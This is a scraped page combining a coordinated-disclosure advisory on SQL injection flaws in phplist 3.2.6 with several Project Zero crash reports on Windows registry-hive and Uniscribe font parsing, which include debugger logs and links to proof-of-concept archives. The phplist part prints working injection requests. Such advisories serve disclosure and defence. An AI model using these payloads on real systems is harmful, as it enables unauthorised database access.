1. Introduction
Affected Product: phplist 3.2.6
Fixed in: 3.3.1
Fixed Version Link: https://sourceforge.net/projects/phplist/files/phplist/3.3.1/phplist-3.3.1.zip/download
Vendor Website: https://www.phplist.org/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 01/10/2017
Disclosed to public: 02/20/2017
Release mode: Coordinated Release
CVE: n/a (not requested)
Credits Tim Coen of Curesec GmbH
2. Overview
phplist is an application to manage newsletters, written in PHP. In version 3.2.6, it is vulnerable to SQL injection.
The application contains two SQL injections, one of which is in the administration area and one which requires no credentials. Additionally, at least one query is not properly protected against injections. Furthermore, a query in the administration area discloses some information on the password hashes of users.
3. Details
SQL Injection 1: Edit Subscription
CVSS: High 7.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
It is possible for an unauthenticated user to perform an SQL injection when updating the subscription information of an already subscribed user.
The protection against SQL injection relies on a combination of a custom magic quotes function which applies addslashes to all input values and a function which applies htmlspecialchars to all inputs. Additionally, some input values are cast to integers to prevent injections. addslashes protects against injections into arguments which are placed into single quotes, while htmlspecialchars protects against injections into double quotes.
It should be noted that neither addslashes nor htmlspecialchars are recommended to prevent SQL Injection.
The update functionality is vulnerable to SQL Injection as it uses the key of POST data, while only values of POST data are escaped via addslashes, but not keys.
Proof of Concept:
POST /lists/index.php?p=subscribe&uid=f8082b7cc4da7f94ba42d88ebfb5b1e2&email=foo%40example.com
HTTP/1.1
Host: localhost
Connection: close
Content-Length: 209
email=foo%40example.com&emailconfirm=foo%40example.com&textemail=1&list%5B2 or extractvalue(1,version()) %5D=signup&listname%5B2%5D=newsletter&VerificationCodeX=&update=Subscribe+to+the+selected+newsletters%27
The proof of concept is chosen for simplicity and will only work if error messages are displayed to the user. If this is not the case, other techniques can be used to extract data from the database.
Code:
/lists/admin/subscribelib2.php
$lists = '';
if (is_array($_POST['list'])) {
while (list($key, $val) = each($_POST['list'])) {
if ($val == 'signup') {
$result = Sql_query("replace into
{$GLOBALS['tables']['listuser']} (userid,listid,entered)
values($userid,$key,now())");
# $lists .= " * ".$_POST["listname"][$key]."\n";
}
}
}
SQL Injection 2: Sending Campaign (Admin)
CVSS: Medium 4.7 CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
When sending a campaign, the sendformat parameter is vulnerable to SQL injection. The injection takes place into an UPDATE, so the easiest way to extract data is via error based SQL injection.
An account with the right to send campaigns is required to exploit this issue.
Proof of Concept:
POST /lists/admin/?page=send&id=2&tk=c&tab=Format HTTP/1.1
Host: localhost
Cookie: PHPSESSID=k6m0jgl4niq7643hohik5jgm12
Connection: close
Content-Length: 323
formtoken=27211e65922b95d986bfaf706ccd2ca0&workaround_fck_bug=1&followupto=http%3A%2F%2Flocalhost%2Flists%2Fadmin%2F%3Fpage%3Dsend%26id%3D2%26tk%3Dc%26tab%3DScheduling&htmlformatted=auto&sendformat=HTML"
or extractvalue(1,version()) -- -
&id=2&status=draft&id=2&status=draft&campaigntitle=campaign+meta%27%22%3E&testtarget=
Code:
// /lists/admin/send_core.php:198
$result = Sql_Query(
sprintf('update %s set
subject = "%s", fromfield = "%s", tofield = "%s",
replyto ="%s", embargo = "%s", repeatinterval = "%s",
repeatuntil = "%s",
message = "%s", textmessage = "%s", footer = "%s", status = "%s",
htmlformatted = "%s", sendformat = "%s", template = "%s"
where id = %d',
$tables['message'],
sql_escape(strip_tags($messagedata['campaigntitle'])),
/* we store the title in the subject field. Better would
be to rename the DB column, but this will do for now */
sql_escape($messagedata['fromfield']),
sql_escape($messagedata['tofield']),
sql_escape($messagedata['replyto']),
sprintf('d-d-d d:d',
$messagedata['embargo']['year'],
$messagedata['embargo']['month'], $messagedata['embargo']['day'],
$messagedata['embargo']['hour'],
$messagedata['embargo']['minute']),
$messagedata['repeatinterval'],
sprintf('d-d-d d:d',
$messagedata['repeatuntil']['year'],
$messagedata['repeatuntil']['month'],
$messagedata['repeatuntil']['day'],
$messagedata['repeatuntil']['hour'],
$messagedata['repeatuntil']['minute']),
sql_escape($messagedata['message']),
sql_escape($messagedata['textmessage']),
sql_escape($messagedata['footer']),
sql_escape($messagedata['status']), $htmlformatted ? '1'
: '0', $messagedata['sendformat'],
sql_escape($messagedata['template']), $id
)
);
Sort By: Password (Admin)
CVSS: Low 2.2 CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N
When viewing users, the sortby parameter can be used to sort the list. The drop down list allows sorting by email, dates, and so on. All non-word characters are removed, but there are no further checks.
It is possible to gather some information on the password of users via this parameter, as it is possible to set it to sort by password.
By repeatedly changing the password of an existing user, the characters of a password hash could be bruteforced by looking at the position of the user the attacker controls.
An account with the right to view users is required to exploit this issue.
Proof of Concept:
http://localhost//lists/admin/?page=users&start=0&find=&findby=&sortby=password&sortorder=desc&change=Go&id=0&find=&findby=email
Insufficient Protection against SQL Injection
CVSS: n/a
When subscribing a user, metadata is saved in the database. When saving this data in the database, it is neither properly escaped nor are prepared statements used, but the input is HTML encoded.
Because of this, an unauthenticated user has control over part of the query.
This issue is not currently exploitable, but may be exploitable if changes are made to the query. The approach of HTML encoding instead of using prepared statements to defend against SQL injection is also more error prone and may result in further queries which are vulnerable.
A user can create a database error with the following request:
POST /lists/index.php?p=subscribe&id=a\ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=8h5fh18cqe41a2l1t6224tf9v4
Connection: close
formtoken=5bf7774ff0f2e396081dc1478cd92201&makeconfirmed=0&email=foo%40example.com&emailconfirm=foo%40example.com&textemail=1&list%5B2%5D=signup&listname%5B2%5D=newsletter&VerificationCodeX=&subscribe=Subscribe+to+the+selected+newsletters%27
The resulting query is:
insert into phplist_user_user_history (ip,userid,date,summary,detail,systeminfo)
values("127.0.0.1",2,now(),"Re-Subscription","[...]","
HTTP_USER_AGENT = [...]
REQUEST_URI = /lists/index.php?p=subscribe&id=a\")
It can be seen that the slash in the request escapes the quote of the query which causes an error.
4. Solution
To mitigate this issue please upgrade at least to version 3.3.1:
https://sourceforge.net/projects/phplist/files/phplist/3.3.1/phplist-3.3.1.zip/download
Please note that a newer version might already be available.
5. Report Timeline
01/10/2017 Informed Vendor about Issue
01/16/2017 Vendor confirms
02/15/2017 Asked Vendor to confirm that new release fixes issues
02/15/2017 Vendor confirms
02/20/2017 Disclosed to public
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863178414
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=993
We have encountered Windows kernel crashes in the internal nt!nt!HvpGetBinMemAlloc and nt!ExpFindAndRemoveTagBigPages functions while loading corrupted registry hive files. We believe both crashes to be caused by the same bug. Examples of crash log excerpts generated after triggering the bug are shown below:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: a2b23004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 817f7f04, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
[...]
STACK_TEXT:
a3c0b70c 818b68d0 a06529c8 a0652fd8 a06529c8 nt!HvpGetBinMemAlloc+0x8
a3c0b73c 817f113e 00000001 80000580 80000578 nt!HvFreeHive+0x11c
a3c0b798 817c4fac a3c0b828 00000002 00000000 nt!CmpInitializeHive+0x5e6
a3c0b85c 817c5d91 a3c0bbb8 00000000 a3c0b9f4 nt!CmpInitHiveFromFile+0x1be
a3c0b9c0 817cdaba a3c0bbb8 a3c0ba88 a3c0ba0c nt!CmpCmdHiveOpen+0x50
a3c0bacc 817c63c4 a3c0bb90 a3c0bbb8 00000010 nt!CmLoadKey+0x459
a3c0bc0c 8165cdb6 002efa0c 00000000 00000010 nt!NtLoadKeyEx+0x56c
a3c0bc0c 77796c74 002efa0c 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
002efa74 00000000 00000000 00000000 00000000 0x77796c74
---
and
---
BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000022,
Arg2: a9c14000
Arg3: 00000001
Arg4: 00000000
[...]
STACK_TEXT:
a353b688 81760bf9 a9c14000 a353b6c0 a353b6b4 nt!ExpFindAndRemoveTagBigPages+0x1fd
a353b6f8 8184d349 a9c14000 00000000 a353b73c nt!ExFreePoolWithTag+0x13f
a353b708 818d48d9 a9c14000 00001000 a87bcfd8 nt!CmpFree+0x17
a353b73c 8180f13e 00000001 80000560 80000548 nt!HvFreeHive+0x125
a353b798 817e2fac a353b828 00000002 00000000 nt!CmpInitializeHive+0x5e6
a353b85c 817e3d91 a353bbb8 00000000 a353b9f4 nt!CmpInitHiveFromFile+0x1be
a353b9c0 817ebaba a353bbb8 a353ba88 a353ba0c nt!CmpCmdHiveOpen+0x50
a353bacc 817e43c4 a353bb90 a353bbb8 00000010 nt!CmLoadKey+0x459
a353bc0c 8167adb6 002bf614 00000000 00000010 nt!NtLoadKeyEx+0x56c
a353bc0c 77a36c74 002bf614 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
002bf67c 00000000 00000000 00000000 00000000 0x77a36c74
---
The issue reproduces on Windows 7 32- and 64-bit, and manifests itself both with and without Special Pools (but it is still advised to have the mechanism enabled). In order to reproduce the problem with the provided samples, it is necessary to load them with a dedicated program which calls the RegLoadAppKey() API.
The root cause of the crashes is unknown. It must be noted that in our test environment, reproduction has been very unreliable: the same hive could crash the system in one run, and then parse fine (or fail with an error) in 10 subsequent runs. In order to facilitate reproduction, I'm providing a high number of testcases which were seen to cause a bugcheck once or more, in hope that at least one of them will also reproduce externally.
################################################################################
On November 29, MSRC let us know that they were unable to reproduce a crash with the provided samples and report, and asked for more information and/or kernel crash dumps.
One day later, we've looked into the bug again and discovered that it wasn't sufficient to just load a single corrupted hive to trigger the bugcheck: instead, it is necessary to sequentially load several corrupted hives from the same path in the filesystem. MSRC confirmed that they could reliably reproduce the problem with this new information.
Since the additional detail is crucial to observe the symptoms of the bug and it was not included in the original report, I'm resetting the "Reported" date to November 30.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41645.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1019
We have encountered a crash in the Windows Uniscribe user-mode library, in the usp10!otlChainRuleSetTable::rule function, while trying to display text using a corrupted TTF font file:
---
(4464.11b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0933d8bf ebx=00000000 ecx=09340ffc edx=00001b9f esi=0026ecac edi=00000009
eip=752378f3 esp=0026ec24 ebp=0026ec2c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
USP10!ScriptPositionSingleGlyph+0x28533:
752378f3 668b4c5002 mov cx,word ptr [eax+edx*2+2] ds:002b:09340fff=????
0:000> kb
ChildEBP RetAddr Args to Child
0026ec2c 752382f3 0026ecac 00001b9f 09340ffc USP10!otlChainRuleSetTable::rule+0x13
0026eccc 75231471 42555347 0026f078 0133d7d2 USP10!otlChainingLookup::apply+0x7d3
0026ed48 752335e1 000000e4 0026f078 0026f09c USP10!ApplyLookup+0x261
0026ef4c 7522f29f 42555347 0026f0b4 0026f078 USP10!ApplyFeatures+0x481
0026ef98 7522f710 00000000 09342ffa 09342f40 USP10!SubstituteOtlGlyphs+0x1bf
0026efd4 752213c0 0026f050 0026f088 0026f0b4 USP10!SubstituteOtlChars+0x220
0026f250 7521548a 0026f35c 0026f388 0026f370 USP10!HebrewEngineGetGlyphs+0x690
0026f310 7521253f 0026f35c 0026f388 0026f370 USP10!ShapingGetGlyphs+0x36a
0026f3fc 751e5c6f 2d011da2 09316124 09316318 USP10!ShlShape+0x2ef
0026f440 751f167a 2d011da2 09316124 09316318 USP10!ScriptShape+0x15f
0026f4a0 751f2b14 00000000 00000000 0026f520 USP10!RenderItemNoFallback+0xfa
0026f4cc 751f2da2 00000000 00000000 0026f520 USP10!RenderItemWithFallback+0x104
0026f4f0 751f4339 00000000 0026f520 09316124 USP10!RenderItem+0x22
0026f534 751e7a04 000004a0 00000400 2d011da2 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0026f54c 76ca5465 2d011da2 09316040 0000000a USP10!ScriptStringAnalyse+0x284
0026f598 76ca5172 2d011da2 0026fa1c 0000000a LPK!LpkStringAnalyse+0xe5
0026f694 76ca1410 2d011da2 00000000 00000000 LPK!LpkCharsetDraw+0x332
0026f6c8 763c18b0 2d011da2 00000000 00000000 LPK!LpkDrawTextEx+0x40
0026f708 763c22bf 2d011da2 00000048 00000000 USER32!DT_DrawStr+0x13c
0026f754 763c21f2 2d011da2 0026fa1c 0026fa30 USER32!DT_GetLineBreak+0x78
0026f800 763c14d4 2d011da2 00000000 0000000a USER32!DrawTextExWorker+0x255
0026f824 763c2475 2d011da2 0026fa1c ffffffff USER32!DrawTextExW+0x1e
[...]
---
The crash is caused by a single-byte change in a legitimate font file: at offset 0x845A, byte 0x00 is changed to 0xFF. The data region corresponds to the "GSUB" sfnt table. The change causes the otlChainRuleTable::backtrackGlyphCount() function to return an overly large 16-bit integer of 0xED00, which is then used as the number of iterations in a subsequent loop in the otlChainingLookup::apply() function, without prior validation. Increasing (out-of-bounds) indexes are then passed to otlChainRuleSetTable::rule() in the 2nd parameter, and used to address an array of 16-bit indexes. This is where the crash takes place, as the large index eventually starts pointing into the boundary of the last mapped heap memory page.
The 16-bit value being read from outside the allocated buffer is later used as yet another index, used to address some an array in the otlChainRuleTable::otlChainRuleTable() routine. While the function only appears to read from the newly formed pointer at first glance, we are not ruling out the possibility of memory corruption. In a read-only scenario, the issue could be potentially used to disclose sensitive data from the process heap.
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is an archive with the original and modified TTF files.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41646.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1022
We have encountered a crash in the Windows Uniscribe user-mode library, in the memmove() function called by USP10!otlList::insertAt, while trying to display text using a corrupted font file:
---
(4b44.24a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=093bc154 ebx=0943c104 ecx=00000012 edx=00000000 esi=093bc10c edi=0943c104
eip=76bc9f40 esp=001ee9b4 ebp=001ee9bc iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
msvcrt!memmove+0x5a:
76bc9f40 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr Args to Child
001ee9bc 7522e87a 0943c104 093bc10c 00000048 msvcrt!memmove+0x5a
001ee9dc 752358bd 00000002 ffffffff 00000001 USP10!otlList::insertAt+0x3a
001ee9f8 7523a414 001eee10 001eee34 00000002 USP10!InsertGlyphs+0x1d
001eea3c 75239676 001eee10 001eee34 001eed24 USP10!SubstituteNtoM+0x224
001eea7c 75231393 001eee10 001eee34 001eed24 USP10!otlMultiSubstLookup::apply+0xf6
001eeae0 752335e1 00000000 001eee10 001eee34 USP10!ApplyLookup+0x183
001eece4 7522f29f 42555347 001eee4c 001eee10 USP10!ApplyFeatures+0x481
001eed30 7522f710 00000000 093da000 093d9b58 USP10!SubstituteOtlGlyphs+0x1bf
001eed6c 752213c0 001eede8 001eee20 001eee4c USP10!SubstituteOtlChars+0x220
001eefe8 7521548a 001ef0f4 001ef120 001ef108 USP10!HebrewEngineGetGlyphs+0x690
001ef0a8 7521253f 001ef0f4 001ef120 001ef108 USP10!ShapingGetGlyphs+0x36a
001ef190 751e5c6f 86011dce 093b6124 093b6318 USP10!ShlShape+0x2ef
001ef1d4 751f167a 86011dce 093b6124 093b6318 USP10!ScriptShape+0x15f
001ef234 751f2b14 00000000 00000000 001ef2b4 USP10!RenderItemNoFallback+0xfa
001ef260 751f2da2 00000000 00000000 001ef2b4 USP10!RenderItemWithFallback+0x104
001ef284 751f4339 00000000 001ef2b4 093b6124 USP10!RenderItem+0x22
001ef2c8 751e7a04 000004a0 00000400 86011dce USP10!ScriptStringAnalyzeGlyphs+0x1e9
001ef2e0 76ca5465 86011dce 093b6040 0000000a USP10!ScriptStringAnalyse+0x284
001ef32c 76ca5172 86011dce 001ef714 0000000a LPK!LpkStringAnalyse+0xe5
001ef428 76ca1410 86011dce 00000000 00000000 LPK!LpkCharsetDraw+0x332
001ef45c 763c18b0 86011dce 00000000 00000000 LPK!LpkDrawTextEx+0x40
001ef49c 763c22bf 86011dce 00000058 00000000 USER32!DT_DrawStr+0x13c
001ef4e8 763c21f2 86011dce 001ef714 001ef728 USER32!DT_GetLineBreak+0x78
001ef594 763c14d4 86011dce 00000000 0000000a USER32!DrawTextExWorker+0x255
001ef5b8 763c2475 86011dce 001ef714 ffffffff USER32!DrawTextExW+0x1e
001ef5ec 013abcec 86011dce 001ef714 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> dd esi
093bc10c 00000b45 00010001 00000b46 00010002
093bc11c 00000b47 00010003 00000b48 00010004
093bc12c 00000b49 00010005 00000b4a 00010006
093bc13c 00000b4b 00010007 00000b4c 00010008
093bc14c 00000b4d 00010009 000b0000 67696c63
093bc15c 00000001 000b0000 00000001 000000f8
093bc16c 00000048 001104bd 00010000 00000b26
093bc17c 00010001 00000b27 00010002 00000b28
0:000> dd edi
0943c104 ???????? ???????? ???????? ????????
0943c114 ???????? ???????? ???????? ????????
0943c124 ???????? ???????? ???????? ????????
0943c134 ???????? ???????? ???????? ????????
0943c144 ???????? ???????? ???????? ????????
0943c154 ???????? ???????? ???????? ????????
0943c164 ???????? ???????? ???????? ????????
0943c174 ???????? ???????? ???????? ????????
---
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is an archive with 3 crashing samples.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41647.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1023
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!AssignGlyphTypes function, while trying to display text using a corrupted font file:
---
(58d0.5ae4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0042f2cc ebx=00000001 ecx=00000091 edx=00000091 esi=095c0004 edi=000007e1
eip=75235699 esp=0042ef8c ebp=0042ef98 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
USP10!AssignGlyphTypes+0x79:
75235699 0fb70e movzx ecx,word ptr [esi] ds:002b:095c0004=????
0:000> kb
ChildEBP RetAddr Args to Child
0042ef98 75233660 0042f2cc 095dfc86 0000f81e USP10!AssignGlyphTypes+0x79
0042f17c 7522f29f 42555347 0042f2e4 0042f2a8 USP10!ApplyFeatures+0x500
0042f1c8 7522f710 00000000 095e0000 095dfc78 USP10!SubstituteOtlGlyphs+0x1bf
0042f204 752213c0 0042f280 0042f2b8 0042f2e4 USP10!SubstituteOtlChars+0x220
0042f480 7521548a 0042f58c 0042f5b8 0042f5a0 USP10!HebrewEngineGetGlyphs+0x690
0042f540 7521253f 0042f58c 0042f5b8 0042f5a0 USP10!ShapingGetGlyphs+0x36a
0042f628 751e5c6f 1b01233b 095b6124 095b6318 USP10!ShlShape+0x2ef
0042f66c 751f167a 1b01233b 095b6124 095b6318 USP10!ScriptShape+0x15f
0042f6cc 751f2b14 00000000 00000000 0042f74c USP10!RenderItemNoFallback+0xfa
0042f6f8 751f2da2 00000000 00000000 0042f74c USP10!RenderItemWithFallback+0x104
0042f71c 751f4339 00000000 0042f74c 095b6124 USP10!RenderItem+0x22
0042f760 751e7a04 000004a0 00000400 1b01233b USP10!ScriptStringAnalyzeGlyphs+0x1e9
0042f778 76ca5465 1b01233b 095b6040 0000000a USP10!ScriptStringAnalyse+0x284
0042f7c4 76ca5172 1b01233b 0042fbac 0000000a LPK!LpkStringAnalyse+0xe5
0042f8c0 76ca1410 1b01233b 00000000 00000000 LPK!LpkCharsetDraw+0x332
0042f8f4 763c18b0 1b01233b 00000000 00000000 LPK!LpkDrawTextEx+0x40
0042f934 763c22bf 1b01233b 000000b0 00000000 USER32!DT_DrawStr+0x13c
0042f980 763c21f2 1b01233b 0042fbac 0042fbc0 USER32!DT_GetLineBreak+0x78
0042fa2c 763c14d4 1b01233b 00000000 0000000a USER32!DrawTextExWorker+0x255
0042fa50 763c2475 1b01233b 0042fbac ffffffff USER32!DrawTextExW+0x1e
0042fa84 013b6a5c 1b01233b 0042fbac ffffffff USER32!DrawTextW+0x4d
[...]
0:000> u
USP10!AssignGlyphTypes+0x79:
75235699 0fb70e movzx ecx,word ptr [esi]
7523569c b8f0ff0000 mov eax,0FFF0h
752356a1 66214602 and word ptr [esi+2],ax
752356a5 51 push ecx
752356a6 8d4d0c lea ecx,[ebp+0Ch]
752356a9 e852420000 call USP10!otlClassDef::getClass (75239900)
752356ae 66094602 or word ptr [esi+2],ax
752356b2 eb09 jmp USP10!AssignGlyphTypes+0x9d (752356bd)
0:000> dd esi
095c0004 ???????? ???????? ???????? ????????
095c0014 ???????? ???????? ???????? ????????
095c0024 ???????? ???????? ???????? ????????
095c0034 ???????? ???????? ???????? ????????
095c0044 ???????? ???????? ???????? ????????
095c0054 ???????? ???????? ???????? ????????
095c0064 ???????? ???????? ???????? ????????
095c0074 ???????? ???????? ???????? ????????
---
While the immediate crash is caused by an invalid memory read operation, the function subsequently writes to the out-of-bounds memory regions at addresses 0x752356a1 and 0x752356ae, leading to memory corruption and potential remote code execution.
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is an archive with 3 crashing samples.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41648.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1025
We have encountered a crash in the Windows Uniscribe user-mode library, in the memset() function called by USP10!otlCacheManager::GlyphsSubstituted, while trying to display text using a corrupted font file:
---
(449c.6338): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=092ac250 ebx=092ac230 ecx=00000784 edx=00000074 esi=0028ea6c edi=092affd0
eip=76bc9c8d esp=0028e978 ebp=0028e97c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
msvcrt!_VEC_memcpy+0x116:
76bc9c8d 660f7f4730 movdqa xmmword ptr [edi+30h],xmm0 ds:002b:092b0000=????????????????????????????????
0:000> kb
ChildEBP RetAddr Args to Child
0028e97c 76bc9c39 092ac250 0003ff80 00000006 msvcrt!_VEC_memcpy+0x116
0028e99c 76bc9cde 092ac250 00000000 0003fff4 msvcrt!_VEC_memzero+0x36
0028e9c0 75234b58 092ac248 00000000 0003fffc msvcrt!_VEC_memzero+0x82
0028e9e0 752336a1 0028ed18 00000006 0000ffff USP10!otlCacheManager::GlyphsSubstituted+0xc8
0028ebc0 7522f29f 42555347 0028ed58 0028ece4 USP10!ApplyFeatures+0x541
0028ec0c 7522b083 00000000 092c6ffc 092c6e18 USP10!SubstituteOtlGlyphs+0x1bf
0028ec38 75223921 0028ecb4 0028ed0c 0028ed58 USP10!ShapingLibraryInternal::SubstituteOtlGlyphsWithLanguageFallback+0x23
0028eed0 7521548a 0028efdc 0028f008 0028eff0 USP10!ArabicEngineGetGlyphs+0x891
0028ef90 7521253f 0028efdc 0028f008 0028eff0 USP10!ShapingGetGlyphs+0x36a
0028f078 751e5c6f 2a0123f2 092a6124 092a6318 USP10!ShlShape+0x2ef
0028f0bc 751f167a 2a0123f2 092a6124 092a6318 USP10!ScriptShape+0x15f
0028f11c 751f2b14 00000000 00000000 0028f19c USP10!RenderItemNoFallback+0xfa
0028f148 751f2da2 00000000 00000000 0028f19c USP10!RenderItemWithFallback+0x104
0028f16c 751f4339 00000000 0028f19c 092a6124 USP10!RenderItem+0x22
0028f1b0 751e7a04 000004a0 00000400 2a0123f2 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0028f1c8 76ca5465 2a0123f2 092a6040 0000000a USP10!ScriptStringAnalyse+0x284
0028f214 76ca5172 2a0123f2 0028f5fc 0000000a LPK!LpkStringAnalyse+0xe5
0028f310 76ca1410 2a0123f2 00000000 00000000 LPK!LpkCharsetDraw+0x332
0028f344 763c18b0 2a0123f2 00000000 00000000 LPK!LpkDrawTextEx+0x40
0028f384 763c22bf 2a0123f2 00000070 00000000 USER32!DT_DrawStr+0x13c
0028f3d0 763c21f2 2a0123f2 0028f5fc 0028f610 USER32!DT_GetLineBreak+0x78
0028f47c 763c14d4 2a0123f2 00000000 0000000a USER32!DrawTextExWorker+0x255
0028f4a0 763c2475 2a0123f2 0028f5fc ffffffff USER32!DrawTextExW+0x1e
0028f4d4 01336a5c 2a0123f2 0028f5fc ffffffff USER32!DrawTextW+0x4d
[...]
0:000> dd edi
092affd0 00000000 00000000 00000000 00000000
092affe0 00000000 00000000 00000000 00000000
092afff0 00000000 00000000 00000000 00000000
092b0000 ???????? ???????? ???????? ????????
092b0010 ???????? ???????? ???????? ????????
092b0020 ???????? ???????? ???????? ????????
092b0030 ???????? ???????? ???????? ????????
092b0040 ???????? ???????? ???????? ????????
---
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is an archive with 2 crashing samples.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41649.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1026&desc=2
We have encountered a crash in the Windows Uniscribe user-mode library, in the memcpy() function called by USP10!MergeLigRecords, while trying to display text using a corrupted font file:
---
(2bd0.637c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0929a000 ebx=09299fa0 ecx=00000009 edx=00000002 esi=09299fda edi=092b7914
eip=76bc9b60 esp=0015f534 ebp=0015f53c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
msvcrt!memcpy+0x5a:
76bc9b60 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr Args to Child
0015f53c 751f777d 092b7914 09299fda 00000026 msvcrt!memcpy+0x5a
0015f554 751f74e9 0928ffd0 0928f9d0 0015f5f0 USP10!MergeLigRecords+0x14d
0015f5b4 751f7044 0000001a 09223d88 09233fa8 USP10!LoadTTOArabicShapeTables+0x3f9
0015f5c8 751fc5f4 a60118b0 09223d88 09216124 USP10!LoadArabicShapeTables+0xd4
0015f5e4 751ea5a0 a60118b0 0928f7d0 0000001a USP10!ArabicLoadTbl+0xd4
0015f608 751ea692 09216124 a60118b0 0000001a USP10!UpdateCache+0xb0
0015f61c 751f152d a60118b0 09216000 751f15db USP10!ScriptCheckCache+0x62
0015f628 751f15db 00000001 00000001 092162e8 USP10!GetShapeFunction+0xd
0015f660 751f2b14 00000001 00000000 0015f6e0 USP10!RenderItemNoFallback+0x5b
0015f68c 751f2da2 00000001 00000000 0015f6e0 USP10!RenderItemWithFallback+0x104
0015f6b0 751f4339 00000000 0015f6e0 09216124 USP10!RenderItem+0x22
0015f6f4 751e7a04 000004a0 00000400 a60118b0 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0015f70c 76ca5465 a60118b0 09216040 0000000a USP10!ScriptStringAnalyse+0x284
0015f758 76ca5172 a60118b0 0015fb40 0000000a LPK!LpkStringAnalyse+0xe5
0015f854 76ca1410 a60118b0 00000000 00000000 LPK!LpkCharsetDraw+0x332
0015f888 763c18b0 a60118b0 00000000 00000000 LPK!LpkDrawTextEx+0x40
0015f8c8 763c22bf a60118b0 000000c0 00000000 USER32!DT_DrawStr+0x13c
0015f914 763c21f2 a60118b0 0015fb40 0015fb54 USER32!DT_GetLineBreak+0x78
0015f9c0 763c14d4 a60118b0 00000000 0000000a USER32!DrawTextExWorker+0x255
0015f9e4 763c2475 a60118b0 0015fb40 ffffffff USER32!DrawTextExW+0x1e
0015fa18 010e6a5c a60118b0 0015fb40 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> dd esi
09299fda 03e003df 03df03ea 03df0382 03df0384
09299fea 03df0388 03e0038e 03e00382 03e00384
09299ffa 03e00388 ???????? ???????? ????????
0929a00a ???????? ???????? ???????? ????????
0929a01a ???????? ???????? ???????? ????????
0929a02a ???????? ???????? ???????? ????????
0929a03a ???????? ???????? ???????? ????????
0929a04a ???????? ???????? ???????? ????????
0:000> dd edi
092b7914 ???????? ???????? ???????? ????????
